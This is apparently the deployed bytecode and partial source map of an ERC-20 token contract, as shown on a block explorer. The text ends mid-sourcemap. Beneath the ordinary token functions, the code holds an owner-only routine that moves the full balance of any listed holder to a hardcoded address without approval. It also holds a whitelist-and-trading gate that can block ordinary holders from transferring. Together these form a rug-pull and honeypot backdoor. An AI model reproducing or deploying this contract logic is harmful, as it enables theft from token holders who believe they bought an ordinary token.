0x608060405234801561000f575f5ffd5b5060043610610109575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb14610293578063cba0e996146102c3578063dd62ed3e146102f3578063f2fde38b14610323578063fdb6a5641461033f57610109565b806370a082311461021d578063715018a61461024d5780638da5cb5b1461025757806395d89b411461027557610109565b806323b872dd116100dc57806323b872dd14610195578063313ce567146101c5578063437d0c27146101e35780634ada218b146101ff57610109565b806306fdde031461010d578063095ea7b31461012b5780630d94dffb1461015b57806318160ddd14610177575b5f5ffd5b610115610349565b604051610122919061112c565b60405180910390f35b610145600480360381019061014091906111ea565b6103d9565b6040516101529190611242565b60405180910390f35b610175600480360381019061017091906112e6565b6103fb565b005b61017f6104a1565b60405161018c9190611352565b60405180910390f35b6101af60048036038101906101aa919061136b565b6104aa565b6040516101bc9190611242565b60405180910390f35b6101cd6104dd565b6040516101da91906113d6565b60405180910390f35b6101fd60048036038101906101f89190611527565b6104e5565b005b610207610565565b6040516102149190611242565b60405180910390f35b6102376004803603810190610232919061156e565b610577565b6040516102449190611352565b60405180910390f35b6102556105bd565b005b61025f6105d0565b60405161026c91906115a8565b60405180910390f35b61027d6105f7565b60405161028a919061112c565b60405180910390f35b6102ad60048036038101906102a891906111ea565b610687565b6040516102ba9190611242565b60405180910390f35b6102dd60048036038101906102d8919061156e565b6106b5565b6040516102ea9190611242565b60405180910390f35b61030d600480360381019061030891906115c1565b610707565b60405161031a9190611352565b60405180910390f35b61033d6004803603810190610338919061156e565b610789565b005b61034761080d565b005b6060600580546103589061162c565b80601f01602080910402602001604051908101604052809291908181526020018280546103849061162c565b80156103cf5780601f106103a6576101008083540402835291602001916103cf565b820191905f5260205f20905b8154815290600101906020018083116103b257829003601f168201915b5050505050905090565b5f5f6103e3610831565b90506103f0818585610838565b600191505092915050565b61040361084a565b5f5f90505b8383905081101561049b578160085f86868581811061042a5761042961165c565b5b905060200201602081019061043f919061156e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610408565b50505050565b5f600454905090565b5f6104b584846108eb565b6104c7846104c1610831565b846109dd565b6104d2848484610a6f565b600190509392505050565b5f6012905090565b6104ed61084a565b5f731f85e864cb60c446598b88133f2501f07c060a1b90505f5f90505b8251811015610560575f8382815181106105275761052661165c565b5b602002602001015190505f61053b82610577565b90505f81111561055157610550828583610a6f565b5b5050808060010191505061050a565b505050565b60075f9054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105c561084a565b6105ce5f610c10565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546106069061162c565b80601f01602080910402602001604051908101604052809291908181526020018280546106329061162c565b801561067d5780601f106106545761010080835404028352916020019161067d565b820191905f5260205f20905b81548152906001019060200180831161066057829003601f168201915b5050505050905090565b5f610699610693610831565b846108eb565b6106ab6106a4610831565b8484610a6f565b6001905092915050565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61079161084a565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610801575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016107f891906115a8565b60405180910390fd5b61080a81610c10565b50565b61081561084a565b600160075f6101000a81548160ff021916908315150217905550565b5f33905090565b6108458383836001610cd1565b505050565b610852610831565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e9576108ad610831565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016108e091906115a8565b60405180910390fd5b565b60075f9054906101000a900460ff166109d95760085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610999575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cf906116d3565b60405180910390fd5b5b5050565b5f6109e88484610707565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610a695781811015610a5a578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610a51939291906116f1565b60405180910390fd5b610a6884848484035f610cd1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490611796565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611824565b60405180910390fd5b5f610b5584610577565b905081811015610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b91906118b2565b60405180910390fd5b610ba5848484610ea0565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c029190611352565b60405180910390a350505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610d41575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610d3891906115a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db1575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610da891906115a8565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610e9a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610e919190611352565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ef0578060045f828254610ee491906118fd565b92505081905550610fc0565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f7a578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610f71939291906116f1565b60405180910390fd5b81810360025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611007578060045f8282540392505081905550611052565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110af9190611352565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110fe826110bc565b61110881856110c6565b93506111188185602086016110d6565b611121816110e4565b840191505092915050565b5f6020820190508181035f83015261114481846110f4565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111868261115d565b9050919050565b6111968161117c565b81146111a0575f5ffd5b50565b5f813590506111b18161118d565b92915050565b5f819050919050565b6111c9816111b7565b81146111d3575f5ffd5b50565b5f813590506111e4816111c0565b92915050565b5f5f60408385031215611200576111ff611155565b5b5f61120d858286016111a3565b925050602061121e858286016111d6565b9150509250929050565b5f8115159050919050565b61123c81611228565b82525050565b5f6020820190506112555f830184611233565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261127c5761127b61125b565b5b8235905067ffffffffffffffff8111156112995761129861125f565b5b6020830191508360208202830111156112b5576112b4611263565b5b9250929050565b6112c581611228565b81146112cf575f5ffd5b50565b5f813590506112e0816112bc565b92915050565b5f5f5f604084860312156112fd576112fc611155565b5b5f84013567ffffffffffffffff81111561131a57611319611159565b5b61132686828701611267565b93509350506020611339868287016112d2565b9150509250925092565b61134c816111b7565b82525050565b5f6020820190506113655f830184611343565b92915050565b5f5f5f6060848603121561138257611381611155565b5b5f61138f868287016111a3565b93505060206113a0868287016111a3565b92505060406113b1868287016111d6565b9150509250925092565b5f60ff82169050919050565b6113d0816113bb565b82525050565b5f6020820190506113e95f8301846113c7565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611425826110e4565b810181811067ffffffffffffffff82111715611444576114436113ef565b5b80604052505050565b5f61145661114c565b9050611462828261141c565b919050565b5f67ffffffffffffffff821115611481576114806113ef565b5b602082029050602081019050919050565b5f6114a461149f84611467565b61144d565b905080838252602082019050602084028301858111156114c7576114c6611263565b5b835b818110156114f057806114dc88826111a3565b8452602084019350506020810190506114c9565b5050509392505050565b5f82601f83011261150e5761150d61125b565b5b813561151e848260208601611492565b91505092915050565b5f6020828403121561153c5761153b611155565b5b5f82013567ffffffffffffffff81111561155957611558611159565b5b611565848285016114fa565b91505092915050565b5f6020828403121561158357611582611155565b5b5f611590848285016111a3565b91505092915050565b6115a28161117c565b82525050565b5f6020820190506115bb5f830184611599565b92915050565b5f5f604083850312156115d7576115d6611155565b5b5f6115e4858286016111a3565b92505060206115f5858286016111a3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061164357607f821691505b602082108103611656576116556115ff565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f63000000000000000000000000000000000000000000000000000000000000005f82015250565b5f6116bd6001836110c6565b91506116c882611689565b602082019050919050565b5f6020820190508181035f8301526116ea816116b1565b9050919050565b5f6060820190506117045f830186611599565b6117116020830185611343565b61171e6040830184611343565b949350505050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6117806025836110c6565b915061178b82611726565b604082019050919050565b5f6020820190508181035f8301526117ad81611774565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61180e6023836110c6565b9150611819826117b4565b604082019050919050565b5f6020820190508181035f83015261183b81611802565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61189c6026836110c6565b91506118a782611842565b604082019050919050565b5f6020820190508181035f8301526118c981611890565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611907826111b7565b9150611912836111b7565b925082820190508082111561192a576119296118d0565b5b9291505056fea2646970667358221220b15e8d2a88f5cfd21b1690bf6107adcd4a0745595404f8e9f0c62fe9cb83451664736f6c634300081c0033
Deployed Bytecode Sourcemap
104513:1854:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;85735:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;88028:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;104858:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;86837:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;105401:256;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;86688:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;93234:403;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;104543:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;86999:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;84187:103;;;:::i;:::-;;83509:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;85945:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;105186:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;105067:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;87567:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;84451:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;104749:98;;;:::i;:::-;;85735:91;85780:13;85813:5;85806:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;85735:91;:::o;88028:190::-;88101:4;88118:13;88134:12;:10;:12::i;:::-;88118:28;;88157:31;88166:5;88173:7;88182:5;88157:8;:31::i;:::-;88206:4;88199:11;;;88028:190;;;;:::o;104858:193::-;104932:13;:11;:13::i;:::-;104958:9;104970:1;104958:13;;104953:95;104977:9;;:16;;104973:1;:20;104953:95;;;105034:5;105011:6;:20;105018:9;;105028:1;105018:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;105011:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;104995:3;;;;;;;104953:95;;;;104858:193;;;:::o;86837:99::-;86889:7;86916:12;;86909:19;;86837:99;:::o;105401:256::-;105490:4;105507:28;105526:4;105532:2;105507:18;:28::i;:::-;105546:43;105562:4;105568:12;:10;:12::i;:::-;105582:6;105546:15;:43::i;:::-;105600:27;105610:4;105616:2;105620:6;105600:9;:27::i;:::-;105645:4;105638:11;;105401:256;;;;;:::o;86688:84::-;86737:5;86762:2;86755:9;;86688:84;:::o;93234:403::-;93290:13;:11;:13::i;:::-;93313:17;93333:42;93313:62;;93390:9;93402:1;93390:13;;93385:249;93409:7;:14;93405:1;:18;93385:249;;;93441:14;93458:7;93466:1;93458:10;;;;;;;;:::i;:::-;;;;;;;;93441:27;;93479:21;93503:17;93513:6;93503:9;:17::i;:::-;93479:41;;93553:1;93537:13;:17;93533:94;;;93571:43;93581:6;93589:9;93600:13;93571:9;:43::i;:::-;93533:94;93430:204;;93425:3;;;;;;;93385:249;;;;93283:354;93234:403;:::o;104543:26::-;;;;;;;;;;;;;:::o;86999:118::-;87064:7;87091:9;:18;87101:7;87091:18;;;;;;;;;;;;;;;;87084:25;;86999:118;;;:::o;84187:103::-;83395:13;:11;:13::i;:::-;84252:30:::1;84279:1;84252:18;:30::i;:::-;84187:103::o:0;83509:87::-;83555:7;83582:6;;;;;;;;;;;83575:13;;83509:87;:::o;85945:95::-;85992:13;86025:7;86018:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;85945:95;:::o;105186:201::-;105257:4;105274:36;105293:12;:10;:12::i;:::-;105307:2;105274:18;:36::i;:::-;105322:35;105332:12;:10;:12::i;:::-;105346:2;105350:6;105322:9;:35::i;:::-;105375:4;105368:11;;105186:201;;;;:::o;105067:105::-;105125:4;105149:6;:15;105156:7;105149:15;;;;;;;;;;;;;;;;;;;;;;;;;105142:22;;105067:105;;;:::o;87567:142::-;87647:7;87674:11;:18;87686:5;87674:18;;;;;;;;;;;;;;;:27;87693:7;87674:27;;;;;;;;;;;;;;;;87667:34;;87567:142;;;;:::o;84451:220::-;83395:13;:11;:13::i;:::-;84556:1:::1;84536:22;;:8;:22;;::::0;84532:93:::1;;84610:1;84582:31;;;;;;;;;;;:::i;:::-;;;;;;;;84532:93;84635:28;84654:8;84635:18;:28::i;:::-;84451:220:::0;:::o;104749:98::-;104792:13;:11;:13::i;:::-;104834:4;104817:14;;:21;;;;;;;;;;;;;;;;;;104749:98::o;3841:::-;3894:7;3921:10;3914:17;;3841:98;:::o;92642:130::-;92727:37;92736:5;92743:7;92752:5;92759:4;92727:8;:37::i;:::-;92642:130;;;:::o;83674:169::-;83748:12;:10;:12::i;:::-;83734:26;;:10;;;;;;;;;;;:26;;;83730:106;;83811:12;:10;:12::i;:::-;83784:40;;;;;;;;;;;:::i;:::-;;;;;;;;83730:106;83674:169::o;105671:223::-;105755:14;;;;;;;;;;;105750:137;;105812:6;:12;105819:4;105812:12;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;;105828:6;:10;105835:2;105828:10;;;;;;;;;;;;;;;;;;;;;;;;;105812:26;105786:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;105750:137;105671:223;;:::o;93649:487::-;93749:24;93776:25;93786:5;93793:7;93776:9;:25::i;:::-;93749:52;;93836:17;93816:16;:37;93812:317;;93893:5;93874:16;:24;93870:132;;;93953:7;93962:16;93980:5;93926:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;93870:132;94045:57;94054:5;94061:7;94089:5;94070:16;:24;94096:5;94045:8;:57::i;:::-;93812:317;93738:398;93649:487;;;:::o;105908:456::-;106022:1;106006:18;;:4;:18;;;105998:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;106099:1;106085:16;;:2;:16;;;106077:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;106154:19;106176:15;106186:4;106176:9;:15::i;:::-;106154:37;;106225:6;106210:11;:21;;106202:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;106287:25;106295:4;106301:2;106305:6;106287:7;:25::i;:::-;106345:2;106330:26;;106339:4;106330:26;;;106349:6;106330:26;;;;;;:::i;:::-;;;;;;;;105987:377;105908:456;;;:::o;84831:191::-;84905:16;84924:6;;;;;;;;;;;84905:25;;84950:8;84941:6;;:17;;;;;;;;;;;;;;;;;;85005:8;84974:40;;84995:8;84974:40;;;;;;;;;;;;84894:128;84831:191;:::o;92784:443::-;92914:1;92897:19;;:5;:19;;;92893:91;;92969:1;92940:32;;;;;;;;;;;:::i;:::-;;;;;;;;92893:91;93017:1;92998:21;;:7;:21;;;92994:92;;93071:1;93043:31;;;;;;;;;;;:::i;:::-;;;;;;;;92994:92;93126:5;93096:11;:18;93108:5;93096:18;;;;;;;;;;;;;;;:27;93115:7;93096:27;;;;;;;;;;;;;;;:35;;;;93146:9;93142:78;;;93193:7;93177:31;;93186:5;93177:31;;;93202:5;93177:31;;;;;;:::i;:::-;;;;;;;;93142:78;92784:443;;;;:::o;90390:1135::-;90496:1;90480:18;;:4;:18;;;90476:552;;90634:5;90618:12;;:21;;;;;;;:::i;:::-;;;;;;;;90476:552;;;90672:19;90694:9;:15;90704:4;90694:15;;;;;;;;;;;;;;;;90672:37;;90742:5;90728:11;:19;90724:117;;;90800:4;90806:11;90819:5;90775:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;90724:117;90996:5;90982:11;:19;90964:9;:15;90974:4;90964:15;;;;;;;;;;;;;;;:37;;;;90657:371;90476:552;91058:1;91044:16;;:2;:16;;;91040:435;;91226:5;91210:12;;:21;;;;;;;;;;;91040:435;;;91443:5;91426:9;:13;91436:2;91426:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;91040:435;91507:2;91492:25;;91501:4;91492:25;;;91511:5;91492:25;;;;;;:::i;:::-;;;;;;;;90390:1135;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1242:75::-;1275:6;1308:2;1302:9;1292:19;;1242:75;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:117::-;3448:1;3445;3438:12;3462:117;3571:1;3568;3561:12;3585:117;3694:1;3691;3684:12;3725:568;3798:8;3808:6;3858:3;3851:4;3843:6;3839:17;3835:27;3825:122;;3866:79;;:::i;:::-;3825:122;3979:6;3966:20;3956:30;;4009:18;4001:6;3998:30;3995:117;;;4031:79;;:::i;:::-;3995:117;4145:4;4137:6;4133:17;4121:29;;4199:3;4191:4;4183:6;4179:17;4169:8;4165:32;4162:41;4159:128;;;4206:79;;:::i;:::-;4159:128;3725:568;;;;;:::o;4299:116::-;4369:21;4384:5;4369:21;:::i;:::-;4362:5;4359:32;4349:60;;4405:1;4402;4395:12;4349:60;4299:116;:::o;4421:133::-;4464:5;4502:6;4489:20;4480:29;;4518:30;4542:5;4518:30;:::i;:::-;4421:133;;;;:::o;4560:698::-;4652:6;4660;4668;4717:2;4705:9;4696:7;4692:23;4688:32;4685:119;;;4723:79;;:::i;:::-;4685:119;4871:1;4860:9;4856:17;4843:31;4901:18;4893:6;4890:30;4887:117;;;4923:79;;:::i;:::-;4887:117;5036:80;5108:7;5099:6;5088:9;5084:22;5036:80;:::i;:::-;5018:98;;;;4814:312;5165:2;5191:50;5233:7;5224:6;5213:9;5209:22;5191:50;:::i;:::-;5181:60;;5136:115;4560:698;;;;;:::o;5264:118::-;5351:24;5369:5;5351:24;:::i;:::-;5346:3;5339:37;5264:118;;:::o;5388:222::-;5481:4;5519:2;5508:9;5504:18;5496:26;;5532:71;5600:1;5589:9;5585:17;5576:6;5532:71;:::i;:::-;5388:222;;;;:::o;5616:619::-;5693:6;5701;5709;5758:2;5746:9;5737:7;5733:23;5729:32;5726:119;;;5764:79;;:::i;:::-;5726:119;5884:1;5909:53;5954:7;5945:6;5934:9;5930:22;5909:53;:::i;:::-;5899:63;;5855:117;6011:2;6037:53;6082:7;6073:6;6062:9;6058:22;6037:53;:::i;:::-;6027:63;;5982:118;6139:2;6165:53;6210:7;6201:6;6190:9;6186:22;6165:53;:::i;:::-;6155:63;;6110:118;5616:619;;;;;:::o;6241:86::-;6276:7;6316:4;6309:5;6305:16;6294:27;;6241:86;;;:::o;6333:112::-;6416:22;6432:5;6416:22;:::i;:::-;6411:3;6404:35;6333:112;;:::o;6451:214::-;6540:4;6578:2;6567:9;6563:18;6555:26;;6591:67;6655:1;6644:9;6640:17;6631:6;6591:67;:::i;:::-;6451:214;;;;:::o;6671:180::-;6719:77;6716:1;6709:88;6816:4;6813:1;6806:15;6840:4;6837:1;6830:15;6857:281;6940:27;6962:4;6940:27;:::i;:::-;6932:6;6928:40;7070:6;7058:10;7055:22;7034:18;7022:10;7019:34;7016:62;7013:88;;;7081:18;;:::i;:::-;7013:88;7121:10;7117:2;7110:22;6900:238;6857:281;;:::o;7144:129::-;7178:6;7205:20;;:::i;:::-;7195:30;;7234:33;7262:4;7254:6;7234:33;:::i;:::-;7144:129;;;:::o;7279:311::-;7356:4;7446:18;7438:6;7435:30;7432:56;;;7468:18;;:::i;:::-;7432:56;7518:4;7510:6;7506:17;7498:25;;7578:4;7572;7568:15;7560:23;;7279:311;;;:::o;7613:710::-;7709:5;7734:81;7750:64;7807:6;7750:64;:::i;:::-;7734:81;:::i;:::-;7725:90;;7835:5;7864:6;7857:5;7850:21;7898:4;7891:5;7887:16;7880:23;;7951:4;7943:6;7939:17;7931:6;7927:30;7980:3;7972:6;7969:15;7966:122;;;7999:79;;:::i;:::-;7966:122;8114:6;8097:220;8131:6;8126:3;8123:15;8097:220;;;8206:3;8235:37;8268:3;8256:10;8235:37;:::i;:::-;8230:3;8223:50;8302:4;8297:3;8293:14;8286:21;;8173:144;8157:4;8152:3;8148:14;8141:21;;8097:220;;;8101:21;7715:608;;7613:710;;;;;:::o;8346:370::-;8417:5;8466:3;8459:4;8451:6;8447:17;8443:27;8433:122;;8474:79;;:::i;:::-;8433:122;8591:6;8578:20;8616:94;8706:3;8698:6;8691:4;8683:6;8679:17;8616:94;:::i;:::-;8607:103;;8423:293;8346:370;;;;:::o;8722:539::-;8806:6;8855:2;8843:9;8834:7;8830:23;8826:32;8823:119;;;8861:79;;:::i;:::-;8823:119;9009:1;8998:9;8994:17;8981:31;9039:18;9031:6;9028:30;9025:117;;;9061:79;;:::i;:::-;9025:117;9166:78;9236:7;9227:6;9216:9;9212:22;9166:78;:::i;:::-;9156:88;;8952:302;8722:539;;;;:::o;9267:329::-;9326:6;9375:2;9363:9;9354:7;9350:23;9346:32;9343:119;;;9381:79;;:::i;:::-;9343:119;9501:1;9526:53;9571:7;9562:6;9551:9;9547:22;9526:53;:::i;:::-;9516:63;;9472:117;9267:329;;;;:::o;9602:118::-;9689:24;9707:5;9689:24;:::i;:::-;9684:3;9677:37;9602:118;;:::o;9726:222::-;9819:4;9857:2;9846:9;9842:18;9834:26;;9870:71;9938:1;9927:9;9923:17;9914:6;9870:71;:::i;:::-;9726:222;;;;:::o;9954:474::-;10022:6;10030;10079:2;10067:9;10058:7;10054:23;10050:32;10047:119;;;10085:79;;:::i;:::-;10047:119;10205:1;10230:53;10275:7;10266:6;10255:9;10251:22;10230:53;:::i;:::-;10220:63;;10176:117;10332:2;10358:53;10403:7;10394:6;10383:9;10379:22;10358:53;:::i;:::-;10348:63;;10303:118;9954:474;;;;;:::o;10434:180::-;10482:77;10479:1;10472:88;10579:4;10576:1;10569:15;10603:4;10600:1;10593:15;10620:320;10664:6;10701:1;10695:4;10691:12;10681:22;;10748:1;10742:4;10738:12;10769:18;10759:81;;10825:4;10817:6;10813:17;10803:27;;10759:81;10887:2;10879:6;10876:14;10856:18;10853:38;10850:84;;10906:18;;:::i;:::-;10850:84;10671:269;10620:320;;;:::o;10946:180::-;10994:77;10991:1;10984:88;11091:4;11088:1;11081:15;11115:4;11112:1;11105:15;11132:151;11272:3;11268:1;11260:6;11256:14;11249:27;11132:151;:::o;11289:365::-;11431:3;11452:66;11516:1;11511:3;11452:66;:::i;:::-;11445:73;;11527:93;11616:3;11527:93;:::i;:::-;11645:2;11640:3;11636:12;11629:19;;11289:365;;;:::o;11660:419::-;11826:4;11864:2;11853:9;11849:18;11841:26;;11913:9;11907:4;11903:20;11899:1;11888:9;11884:17;11877:47;11941:131;12067:4;11941:131;:::i;:::-;11933:139;;11660:419;;;:::o;12085:442::-;12234:4;12272:2;12261:9;12257:18;12249:26;;12285:71;12353:1;12342:9;12338:17;12329:6;12285:71;:::i;:::-;12366:72;12434:2;12423:9;12419:18;12410:6;12366:72;:::i;:::-;12448;12516:2;12505:9;12501:18;12492:6;12448:72;:::i;:::-;12085:442;;;;;;:::o;12533:224::-;12673:34;12669:1;12661:6;12657:14;12650:58;12742:7;12737:2;12729:6;12725:15;12718:32;12533:224;:::o;12763:366::-;12905:3;12926:67;12990:2;12985:3;12926:67;:::i;:::-;12919:74;;13002:9